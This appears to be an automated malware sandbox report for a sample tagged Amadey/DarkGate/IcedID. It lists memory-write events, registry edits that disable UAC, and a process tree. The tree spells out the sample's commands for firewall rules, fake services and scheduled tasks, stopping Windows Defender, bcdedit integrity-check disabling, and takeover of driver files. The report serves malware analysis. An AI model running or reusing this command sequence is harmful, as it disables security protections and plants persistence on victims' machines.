PID 4048 wrote to memory of 1456	4048	2026-09-27_94e639d588ae5028be6ce6a9c1b74145_amadey_darkgate_glassworm_icedid.exe	131
PID 4048 wrote to memory of 4128	4048	2026-09-27_94e639d588ae5028be6ce6a9c1b74145_amadey_darkgate_glassworm_icedid.exe	132
PID 4048 wrote to memory of 5992	4048	2026-09-27_94e639d588ae5028be6ce6a9c1b74145_amadey_darkgate_glassworm_icedid.exe	138
PID 2104 wrote to memory of 1888	2104	cmd.exe	140
PID 2932 wrote to memory of 1904	2932	CMD.exe	141
PID 4656 wrote to memory of 4596	4656	cmd.exe	142
PID 924 wrote to memory of 2404	924	cmd.exe	143
PID 1456 wrote to memory of 3068	1456	cmd.exe	144
PID 4128 wrote to memory of 2596	4128	cmd.exe	145
PID 4048 wrote to memory of 1444	4048	2026-09-27_94e639d588ae5028be6ce6a9c1b74145_amadey_darkgate_glassworm_icedid.exe	148
PID 4048 wrote to memory of 1720	4048	2026-09-27_94e639d588ae5028be6ce6a9c1b74145_amadey_darkgate_glassworm_icedid.exe	150
PID 4048 wrote to memory of 5424	4048	2026-09-27_94e639d588ae5028be6ce6a9c1b74145_amadey_darkgate_glassworm_icedid.exe	152
PID 4048 wrote to memory of 4064	4048	2026-09-27_94e639d588ae5028be6ce6a9c1b74145_amadey_darkgate_glassworm_icedid.exe	154
PID 4048 wrote to memory of 4664	4048	2026-09-27_94e639d588ae5028be6ce6a9c1b74145_amadey_darkgate_glassworm_icedid.exe	156
PID 4048 wrote to memory of 5940	4048	2026-09-27_94e639d588ae5028be6ce6a9c1b74145_amadey_darkgate_glassworm_icedid.exe	158
PID 4048 wrote to memory of 5072	4048	2026-09-27_94e639d588ae5028be6ce6a9c1b74145_amadey_darkgate_glassworm_icedid.exe	160
PID 5940 wrote to memory of 3500	5940	net.exe	162
PID 4048 wrote to memory of 792	4048	2026-09-27_94e639d588ae5028be6ce6a9c1b74145_amadey_darkgate_glassworm_icedid.exe	163
PID 792 wrote to memory of 5596	792	net.exe	165
PID 4048 wrote to memory of 3384	4048	2026-09-27_94e639d588ae5028be6ce6a9c1b74145_amadey_darkgate_glassworm_icedid.exe	166
PID 4048 wrote to memory of 1656	4048	2026-09-27_94e639d588ae5028be6ce6a9c1b74145_amadey_darkgate_glassworm_icedid.exe	168
PID 4048 wrote to memory of 5268	4048	2026-09-27_94e639d588ae5028be6ce6a9c1b74145_amadey_darkgate_glassworm_icedid.exe	170
PID 4048 wrote to memory of 5148	4048	2026-09-27_94e639d588ae5028be6ce6a9c1b74145_amadey_darkgate_glassworm_icedid.exe	172
PID 4048 wrote to memory of 4368	4048	2026-09-27_94e639d588ae5028be6ce6a9c1b74145_amadey_darkgate_glassworm_icedid.exe	174
PID 4048 wrote to memory of 3552	4048	2026-09-27_94e639d588ae5028be6ce6a9c1b74145_amadey_darkgate_glassworm_icedid.exe	176
PID 4048 wrote to memory of 1708	4048	2026-09-27_94e639d588ae5028be6ce6a9c1b74145_amadey_darkgate_glassworm_icedid.exe	178
PID 4048 wrote to memory of 5200	4048	2026-09-27_94e639d588ae5028be6ce6a9c1b74145_amadey_darkgate_glassworm_icedid.exe	179
PID 4048 wrote to memory of 4168	4048	2026-09-27_94e639d588ae5028be6ce6a9c1b74145_amadey_darkgate_glassworm_icedid.exe	182
PID 4048 wrote to memory of 3140	4048	2026-09-27_94e639d588ae5028be6ce6a9c1b74145_amadey_darkgate_glassworm_icedid.exe	184
PID 4048 wrote to memory of 5960	4048	2026-09-27_94e639d588ae5028be6ce6a9c1b74145_amadey_darkgate_glassworm_icedid.exe	191
PID 4048 wrote to memory of 3844	4048	2026-09-27_94e639d588ae5028be6ce6a9c1b74145_amadey_darkgate_glassworm_icedid.exe	193
PID 4048 wrote to memory of 5400	4048	2026-09-27_94e639d588ae5028be6ce6a9c1b74145_amadey_darkgate_glassworm_icedid.exe	195
PID 4048 wrote to memory of 2592	4048	2026-09-27_94e639d588ae5028be6ce6a9c1b74145_amadey_darkgate_glassworm_icedid.exe	197
PID 4048 wrote to memory of 2344	4048	2026-09-27_94e639d588ae5028be6ce6a9c1b74145_amadey_darkgate_glassworm_icedid.exe	199
PID 4048 wrote to memory of 4456	4048	2026-09-27_94e639d588ae5028be6ce6a9c1b74145_amadey_darkgate_glassworm_icedid.exe	201
PID 4048 wrote to memory of 2480	4048	2026-09-27_94e639d588ae5028be6ce6a9c1b74145_amadey_darkgate_glassworm_icedid.exe	204
PID 4048 wrote to memory of 1816	4048	2026-09-27_94e639d588ae5028be6ce6a9c1b74145_amadey_darkgate_glassworm_icedid.exe	206
PID 4048 wrote to memory of 1852	4048	2026-09-27_94e639d588ae5028be6ce6a9c1b74145_amadey_darkgate_glassworm_icedid.exe	208
PID 4048 wrote to memory of 2916	4048	2026-09-27_94e639d588ae5028be6ce6a9c1b74145_amadey_darkgate_glassworm_icedid.exe	210
PID 4048 wrote to memory of 5664	4048	2026-09-27_94e639d588ae5028be6ce6a9c1b74145_amadey_darkgate_glassworm_icedid.exe	212
PID 4048 wrote to memory of 4544	4048	2026-09-27_94e639d588ae5028be6ce6a9c1b74145_amadey_darkgate_glassworm_icedid.exe	214
PID 4048 wrote to memory of 3500	4048	2026-09-27_94e639d588ae5028be6ce6a9c1b74145_amadey_darkgate_glassworm_icedid.exe	216
PID 4048 wrote to memory of 4320	4048	2026-09-27_94e639d588ae5028be6ce6a9c1b74145_amadey_darkgate_glassworm_icedid.exe	218

System policy modification 1 TTPs 18 IoCs

defense_evasion

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	2026-09-27_94e639d588ae5028be6ce6a9c1b74145_amadey_darkgate_glassworm_icedid.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0"	2026-09-27_94e639d588ae5028be6ce6a9c1b74145_amadey_darkgate_glassworm_icedid.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableUIADesktopToggle = "1"	BootExecutor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	M1004NUS.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorUser = "0"	M1004NUS.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0"	M1004NUS.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	2026-09-27_94e639d588ae5028be6ce6a9c1b74145_amadey_darkgate_glassworm_icedid.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	BootExecutor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	BootExecutor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorUser = "0"	BootExecutor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	M1004NUS.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableUIADesktopToggle = "1"	2026-09-27_94e639d588ae5028be6ce6a9c1b74145_amadey_darkgate_glassworm_icedid.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0"	BootExecutor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorUser = "0"	2026-09-27_94e639d588ae5028be6ce6a9c1b74145_amadey_darkgate_glassworm_icedid.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\FilterAdministratorToken = "0"	2026-09-27_94e639d588ae5028be6ce6a9c1b74145_amadey_darkgate_glassworm_icedid.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\FilterAdministratorToken = "0"	BootExecutor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\FilterAdministratorToken = "0"	M1004NUS.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableUIADesktopToggle = "1"	M1004NUS.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\2026-09-27_94e639d588ae5028be6ce6a9c1b74145_amadey_darkgate_glassworm_icedid.exe
"C:\Users\Admin\AppData\Local\Temp\2026-09-27_94e639d588ae5028be6ce6a9c1b74145_amadey_darkgate_glassworm_icedid.exe"
1⤵
- Modifies WinLogon for persistence
- Modifies Windows Defender DisableAntiSpyware settings
- Modifies Windows Defender TamperProtection settings
- UAC bypass
- Drops file in Drivers directory
- Registers new Windows logon scripts automatically executed at logon.
- Windows security modification
- Checks whether UAC is enabled
- Drops file in Program Files directory
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:4048
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /C netsh advfirewall firewall add rule name="QeFpSiX4SFvaSb" dir=in action=allow program="C:\Users\Admin\AppData\Local\Temp\2026-09-27_94e639d588ae5028be6ce6a9c1b74145_amadey_darkgate_glassworm_icedid.exe" enable=yes & exit
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3628
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="QeFpSiX4SFvaSb" dir=in action=allow program="C:\Users\Admin\AppData\Local\Temp\2026-09-27_94e639d588ae5028be6ce6a9c1b74145_amadey_darkgate_glassworm_icedid.exe" enable=yes
    3⤵
    - Modifies Windows Firewall
    - Event Triggered Execution: Netsh Helper DLL
    PID:5896
- C:\Windows\SYSTEM32\mountvol.exe
  "mountvol" E: /S
  2⤵
  PID:5884
- C:\Windows\SYSTEM32\sc.exe
  "sc.exe" delete "WindowsUpdaterDefenderMicrosoft"
  2⤵
  - Launches sc.exe
  PID:2576
- C:\Windows\SYSTEM32\sc.exe
  "sc.exe" create "WindowsUpdaterDefenderMicrosoft" binPath= "C:\Users\Admin\AppData\Local\Temp\2026-09-27_94e639d588ae5028be6ce6a9c1b74145_amadey_darkgate_glassworm_icedid.exe" start= auto DisplayName= "WindowsUpdaterDefenderMicrosoft"
  2⤵
  - Launches sc.exe
  PID:6016
- C:\Windows\SYSTEM32\sc.exe
  "sc.exe" start "WindowsUpdaterDefenderMicrosoft"
  2⤵
  - Launches sc.exe
  PID:3084
- C:\Windows\SYSTEM32\mountvol.exe
  "mountvol" E: /D
  2⤵
  PID:248
- C:\Windows\SYSTEM32\mountvol.exe
  "mountvol" F: /S
  2⤵
  PID:1156
- C:\Windows\SYSTEM32\schtasks.exe
  "schtasks.exe" /Delete /TN "GoogleUpdateTaskMachineCore_6a9fea82" /F
  2⤵
  PID:480
- C:\Windows\SYSTEM32\schtasks.exe
  "schtasks.exe" /Create /TN "GoogleUpdateTaskMachineCore_6a9fea82" /XML "C:\Users\Admin\AppData\Local\Temp\b515e0c5-da04-4d26-b997-57fa0fb93968.xml" /F
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:4584
- C:\Windows\SYSTEM32\mountvol.exe
  "mountvol" F: /D
  2⤵
  PID:4724
- C:\Windows\SYSTEM32\mountvol.exe
  "mountvol" G: /S
  2⤵
  PID:440
- C:\Windows\SYSTEM32\cmd.exe
  "cmd" /c schtasks /create /f /sc minute /mo 5 /tn "MicrosoftEdgeUpdate" /tr "C:\Users\Admin\AppData\Roaming\System32\BootFiles\BootExecutor.exe" /RL HIGHEST & exit
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5832
- - C:\Windows\system32\schtasks.exe
    schtasks /create /f /sc minute /mo 5 /tn "MicrosoftEdgeUpdate" /tr "C:\Users\Admin\AppData\Roaming\System32\BootFiles\BootExecutor.exe" /RL HIGHEST
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:1124
- C:\Windows\SYSTEM32\sc.exe
  "sc" start TrustedInstaller
  2⤵
  - Launches sc.exe
  PID:6036
- C:\Windows\SYSTEM32\schtasks.exe
  "schtasks.exe" /Delete /TN "SystemSoundsService_9ee4968c" /F
  2⤵
  PID:4260
- C:\Windows\SYSTEM32\CMD.exe
  "CMD" netsh advfirewall firewall add rule name="WindowsControl" dir=in action=allow program="C:\Program Files\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe" enable=yes & exit
  2⤵
  PID:624
- C:\Windows\SYSTEM32\CMD.exe
  "CMD" /c schtasks /delete /F /TN "svchost" & exit
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2932
- - C:\Windows\system32\schtasks.exe
    schtasks /delete /F /TN "svchost"
    3⤵
    PID:1904
- C:\Windows\SYSTEM32\cmd.exe
  "cmd" /c schtasks /create /f /sc onlogon /tn "svchost" /tr "C:\Program Files\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe" & exit
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2104
- - C:\Windows\system32\schtasks.exe
    schtasks /create /f /sc onlogon /tn "svchost" /tr "C:\Program Files\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:1888
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c schtasks /create /f /tn "svchost_OnLock" /tr "C:\Program Files\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe" /sc onlock /rl highest /ru "Admin" /desc "Windows component maintenance" & exit
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:924
- - C:\Windows\system32\schtasks.exe
    schtasks /create /f /tn "svchost_OnLock" /tr "C:\Program Files\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe" /sc onlock /rl highest /ru "Admin" /desc "Windows component maintenance"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2404
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c schtasks /create /f /tn "svchost_OnUnlock" /tr "C:\Program Files\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe" /sc onunlock /rl highest /ru "Admin" /desc "Windows component maintenance" & exit
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4656
- - C:\Windows\system32\schtasks.exe
    schtasks /create /f /tn "svchost_OnUnlock" /tr "C:\Program Files\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe" /sc onunlock /rl highest /ru "Admin" /desc "Windows component maintenance"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4596
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c schtasks /create /f /tn "svchost_OnIdle" /tr "C:\Program Files\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe" /sc onidle /i 5 /rl highest /ru "Admin" /desc "Windows component maintenance" & exit
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1456
- - C:\Windows\system32\schtasks.exe
    schtasks /create /f /tn "svchost_OnIdle" /tr "C:\Program Files\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe" /sc onidle /i 5 /rl highest /ru "Admin" /desc "Windows component maintenance"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3068
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c schtasks /create /f /tn "svchost_Evt4624" /tr "C:\Program Files\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe" /sc onevent /ec Security /mo "*[System[Provider[@Name='Microsoft-Windows-Security-Auditing'] and EventID=4624]]" /rl highest /ru "Admin" /desc "Windows component maintenance" & exit
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4128
- - C:\Windows\system32\schtasks.exe
    schtasks /create /f /tn "svchost_Evt4624" /tr "C:\Program Files\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe" /sc onevent /ec Security /mo "*[System[Provider[@Name='Microsoft-Windows-Security-Auditing'] and EventID=4624]]" /rl highest /ru "Admin" /desc "Windows component maintenance"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2596
- C:\Windows\SYSTEM32\schtasks.exe
  "schtasks.exe" /Create /TN "SystemSoundsService_9ee4968c" /XML "C:\Users\Admin\AppData\Local\Temp\b8f31012-c77c-4d72-84f7-8786cd16d85a.xml" /F
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:5992
- C:\Windows\SYSTEM32\schtasks.exe
  "schtasks.exe" /Delete /TN "FamilySafetyMonitor_d051d85e" /F
  2⤵
  PID:1444
- C:\Windows\SYSTEM32\schtasks.exe
  "schtasks.exe" /Create /TN "FamilySafetyMonitor_d051d85e" /XML "C:\Users\Admin\AppData\Local\Temp\62534a74-17e1-44ba-bcae-4ba9827f5d20.xml" /F
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:1720
- C:\Windows\SYSTEM32\mountvol.exe
  "mountvol" G: /D
  2⤵
  - Enumerates connected drives
  PID:5424
- C:\Windows\SYSTEM32\mountvol.exe
  "mountvol" H: /S
  2⤵
  PID:4064
- C:\Windows\SYSTEM32\schtasks.exe
  "schtasks.exe" /Delete /TN "Microsoft Compatibility Appraiser_71e26040" /F
  2⤵
  PID:4664
- C:\Windows\SYSTEM32\net.exe
  "net" stop WinDefend
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5940
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop WinDefend
    3⤵
    PID:3500
- C:\Windows\SYSTEM32\schtasks.exe
  "schtasks.exe" /Create /TN "Microsoft Compatibility Appraiser_71e26040" /XML "C:\Users\Admin\AppData\Local\Temp\eabc79a6-5db8-4419-8a6e-3c8da0f95a79.xml" /F
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:5072
- C:\Windows\SYSTEM32\net.exe
  "net" start WinDefend
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:792
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 start WinDefend
    3⤵
    PID:5596
- C:\Windows\SYSTEM32\schtasks.exe
  "schtasks.exe" /Delete /TN "Microsoft Compatibility Appraiser_2c7d690f" /F
  2⤵
  PID:3384
- C:\Windows\SYSTEM32\mountvol.exe
  "mountvol" H: /D
  2⤵
  PID:1656
- C:\Windows\SYSTEM32\schtasks.exe
  "schtasks.exe" /Create /TN "Microsoft Compatibility Appraiser_2c7d690f" /XML "C:\Users\Admin\AppData\Local\Temp\f5ba8dae-a98e-46e9-bd10-4d00ddd99b94.xml" /F
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:5268
- C:\Windows\SYSTEM32\mountvol.exe
  "mountvol" I: /S
  2⤵
  PID:5148
- C:\Windows\SYSTEM32\bcdedit.exe
  "bcdedit" /set testsigning on
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:4368
- C:\Windows\SYSTEM32\schtasks.exe
  "schtasks.exe" /Delete /TN "OneDrive Standalone Update Task_760fa2cf" /F
  2⤵
  PID:3552
- C:\Windows\SYSTEM32\bcdedit.exe
  "bcdedit" /set nointegritychecks on
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:1708
- C:\Windows\SYSTEM32\schtasks.exe
  "schtasks.exe" /Create /TN "OneDrive Standalone Update Task_760fa2cf" /XML "C:\Users\Admin\AppData\Local\Temp\4cd229ac-77f5-47c3-9a48-66401ac0fb12.xml" /F
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:5200
- C:\Windows\SYSTEM32\icacls.exe
  "icacls" "C:\Windows\system32\drivers\null.sys" /grant administrators:F /t /c
  2⤵
  - Possible privilege escalation attempt
  - Modifies file permissions
  PID:4168
- C:\Windows\SYSTEM32\mountvol.exe
  "mountvol" I: /D
  2⤵
  - Enumerates connected drives
  PID:3140
- C:\Windows\SYSTEM32\takeown.exe
  "takeown" /f "C:\Windows\system32\drivers\null.sys" /a
  2⤵
  - Possible privilege escalation attempt
  - Modifies file permissions
  PID:5960
- C:\Windows\SYSTEM32\mountvol.exe
  "mountvol" J: /S
  2⤵
  PID:3844
- C:\Windows\SYSTEM32\icacls.exe
  "icacls" "C:\Windows\system32\drivers\null.sys" /grant administrators:F
  2⤵
  - Possible privilege escalation attempt
  - Modifies file permissions
  PID:5400
- C:\Windows\SYSTEM32\icacls.exe
  "icacls" "C:\Windows\system32\drivers\beep.sys" /grant administrators:F /t /c
  2⤵
  - Possible privilege escalation attempt
  - Modifies file permissions
  PID:2592
- C:\Windows\SYSTEM32\takeown.exe
  "takeown" /f "C:\Windows\system32\drivers\beep.sys" /a
  2⤵
  - Possible privilege escalation attempt
  - Modifies file permissions
  PID:2344
- C:\Windows\SYSTEM32\icacls.exe
  "icacls" "C:\Windows\system32\drivers\beep.sys" /grant administrators:F
  2⤵
  - Possible privilege escalation attempt
  - Modifies file permissions
  PID:4456
- C:\Windows\SYSTEM32\icacls.exe
  "icacls" "C:\Windows\system32\drivers\rasl2tp.sys" /grant administrators:F /t /c
  2⤵
  - Possible privilege escalation attempt
  - Modifies file permissions
  PID:2480
- C:\Windows\SYSTEM32\mountvol.exe
  "mountvol" J: /D
  2⤵
  PID:1816
- C:\Windows\SYSTEM32\takeown.exe
  "takeown" /f "C:\Windows\system32\drivers\rasl2tp.sys" /a
  2⤵
  - Possible privilege escalation attempt
  - Modifies file permissions
  PID:1852
- C:\Windows\SYSTEM32\mountvol.exe
  "mountvol" K: /S
  2⤵
  PID:2916
- C:\Windows\SYSTEM32\icacls.exe
  "icacls" "C:\Windows\system32\drivers\rasl2tp.sys" /grant administrators:F
  2⤵
  - Possible privilege escalation attempt
  - Modifies file permissions
  PID:5664
- C:\Windows\SYSTEM32\icacls.exe
  "icacls" "C:\Windows\system32\drivers\raspppoe.sys" /grant administrators:F /t /c
  2⤵
  - Possible privilege escalation attempt
  - Modifies file permissions
  PID:4544
- C:\Windows\SYSTEM32\takeown.exe
  "takeown" /f "C:\Windows\system32\drivers\raspppoe.sys" /a
  2⤵
  - Possible privilege escalation attempt
  - Modifies file permissions
  PID:3500
- C:\Windows\SYSTEM32\icacls.exe
  "icacls" "C:\Windows\system32\drivers\raspppoe.sys" /grant administrators:F
  2⤵
  - Possible privilege escalation attempt
  - Modifies file permissions
  PID:4320
- C:\Windows\SYSTEM32\icacls.exe
  "icacls" "C:\Windows\system32\drivers\raspptp.sys" /grant administrators:F /t /c
  2⤵
  - Possible privilege escalation attempt
  - Modifies file permissions
  PID:3704
- C:\Windows\SYSTEM32\takeown.exe
  "takeown" /f "C:\Windows\system32\drivers\raspptp.sys" /a
  2⤵
  - Possible privilege escalation attempt
  - Modifies file permissions
  PID:2240
- C:\Windows\SYSTEM32\mountvol.exe
  "mountvol" K: /D
  2⤵
  - Enumerates connected drives
  PID:6072
- C:\Windows\SYSTEM32\mountvol.exe
  "mountvol" L: /S
  2⤵
  PID:5684
- C:\Windows\SYSTEM32\icacls.exe
  "icacls" "C:\Windows\system32\drivers\raspptp.sys" /grant administrators:F
  2⤵
  - Possible privilege escalation attempt
  - Modifies file permissions
  PID:5604
- C:\Windows\SYSTEM32\icacls.exe
  "icacls" "C:\Windows\system32\drivers\modem.sys" /grant administrators:F /t /c
  2⤵
  - Possible privilege escalation attempt
  - Modifies file permissions
  PID:2720
- C:\Windows\SYSTEM32\takeown.exe
  "takeown" /f "C:\Windows\system32\drivers\modem.sys" /a
  2⤵
  - Possible privilege escalation attempt
  - Modifies file permissions
  PID:4772
- C:\Windows\SYSTEM32\icacls.exe
  "icacls" "C:\Windows\system32\drivers\modem.sys" /grant administrators:F
  2⤵
  - Possible privilege escalation attempt
  - Modifies file permissions
  PID:4508
- C:\Windows\SYSTEM32\icacls.exe
  "icacls" "C:\Windows\system32\drivers\parport.sys" /grant administrators:F /t /c
  2⤵
  - Possible privilege escalation attempt
  - Modifies file permissions
  PID:4376
- C:\Windows\SYSTEM32\icacls.exe
  "icacls" "C:\Windows\system32\drivers\serenum.sys" /grant administrators:F /t /c
  2⤵
  - Possible privilege escalation attempt
  - Modifies file permissions
  PID:3812
- C:\Windows\SYSTEM32\icacls.exe
  "icacls" "C:\Windows\system32\drivers\serial.sys" /grant administrators:F /t /c
  2⤵
  - Possible privilege escalation attempt
  - Modifies file permissions
  PID:5800
- C:\Windows\SYSTEM32\icacls.exe
  "icacls" "C:\Windows\system32\drivers\usbprint.sys" /grant administrators:F /t /c
  2⤵
  - Possible privilege escalation attempt
  - Modifies file permissions
  PID:960
- C:\Windows\SYSTEM32\mountvol.exe
  "mountvol" L: /D
  2⤵
  PID:6036
- C:\Windows\SYSTEM32\mountvol.exe
  "mountvol" M: /S
  2⤵
  PID:480
- C:\Windows\SYSTEM32\mountvol.exe
  "mountvol" M: /D
  2⤵
  - Enumerates connected drives
  PID:4724
- C:\Windows\SYSTEM32\mountvol.exe
  "mountvol" N: /S
  2⤵
  PID:2356
- C:\Windows\SYSTEM32\mountvol.exe
  "mountvol" N: /D
  2⤵
  - Enumerates connected drives
  PID:3392
- C:\Windows\SYSTEM32\mountvol.exe
  "mountvol" O: /S
  2⤵
  PID:6116
- C:\Windows\SYSTEM32\mountvol.exe
  "mountvol" O: /D
  2⤵
  PID:4544
- C:\Windows\SYSTEM32\mountvol.exe
  "mountvol" P: /S
  2⤵
  PID:2296
- C:\Windows\SYSTEM32\mountvol.exe
  "mountvol" P: /D
  2⤵
  - Enumerates connected drives
  PID:3068
- C:\Windows\SYSTEM32\mountvol.exe
  "mountvol" Q: /S
  2⤵
  PID:2904
- C:\Windows\SYSTEM32\mountvol.exe
  "mountvol" Q: /D
  2⤵
  - Enumerates connected drives
  PID:4020
- C:\Windows\SYSTEM32\mountvol.exe
  "mountvol" R: /S
  2⤵
  PID:4072
- C:\Program Files\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe
  "C:\Program Files\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe"
  2⤵
  - Modifies Windows Defender DisableAntiSpyware settings
  - Modifies Windows Defender TamperProtection settings
  - UAC bypass
  - Drops file in Drivers directory
  - Executes a file named after a Windows system binary
  - Executes dropped EXE
  - Registers new Windows logon scripts automatically executed at logon.
  - Windows security modification
  - Checks whether UAC is enabled
  - Drops file in Program Files directory
  - Reads the TCP/IP host and domain name from the registry
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - System policy modification
  PID:4776
- - C:\Windows\SYSTEM32\cmd.exe
    "cmd.exe" /C netsh advfirewall firewall add rule name="QeFpSiX4SFvaSb" dir=in action=allow program="C:\Program Files\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe" enable=yes & exit
    3⤵
    - Executes a command shell one-liner
    PID:4772
  - - C:\Windows\system32\netsh.exe
      netsh advfirewall firewall add rule name="QeFpSiX4SFvaSb" dir=in action=allow program="C:\Program Files\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe" enable=yes
      4⤵
      Modifies Windows Firewall
      Event Triggered Execution: Netsh Helper DLL
      PID:4120
- - C:\Windows\SYSTEM32\mountvol.exe
    "mountvol" E: /S
    3⤵
    PID:3812
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete "WindowsUpdaterDefenderMicrosoft"
    3⤵
    - Launches sc.exe
    PID:3460
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" create "WindowsUpdaterDefenderMicrosoft" binPath= "C:\Program Files\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe" start= auto DisplayName= "WindowsUpdaterDefenderMicrosoft"
    3⤵
    - Launches sc.exe
    PID:720
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" start "WindowsUpdaterDefenderMicrosoft"
    3⤵
    - Launches sc.exe
    PID:2812
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c schtasks /delete /F /TN "svchost" & exit
    3⤵
    - Executes a command shell one-liner
    PID:3700
  - - C:\Windows\system32\schtasks.exe
      schtasks /delete /F /TN "svchost"
      4⤵
      PID:4884
- - C:\Windows\SYSTEM32\cmd.exe
    "cmd" /c schtasks /create /f /sc onlogon /tn "svchost" /tr "C:\Program Files\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe" & exit
    3⤵
    - Executes a command shell one-liner
    PID:3492
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /f /sc onlogon /tn "svchost" /tr "C:\Program Files\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe"
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:804
- - C:\Windows\SYSTEM32\cmd.exe
    "cmd.exe" /c schtasks /create /f /tn "svchost_OnLock" /tr "C:\Program Files\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe" /sc onlock /rl highest /ru "Admin" /desc "Windows component maintenance" & exit
    3⤵
    - Executes a command shell one-liner
    PID:5416
  - - C:\Windows\system32\schtasks.exe
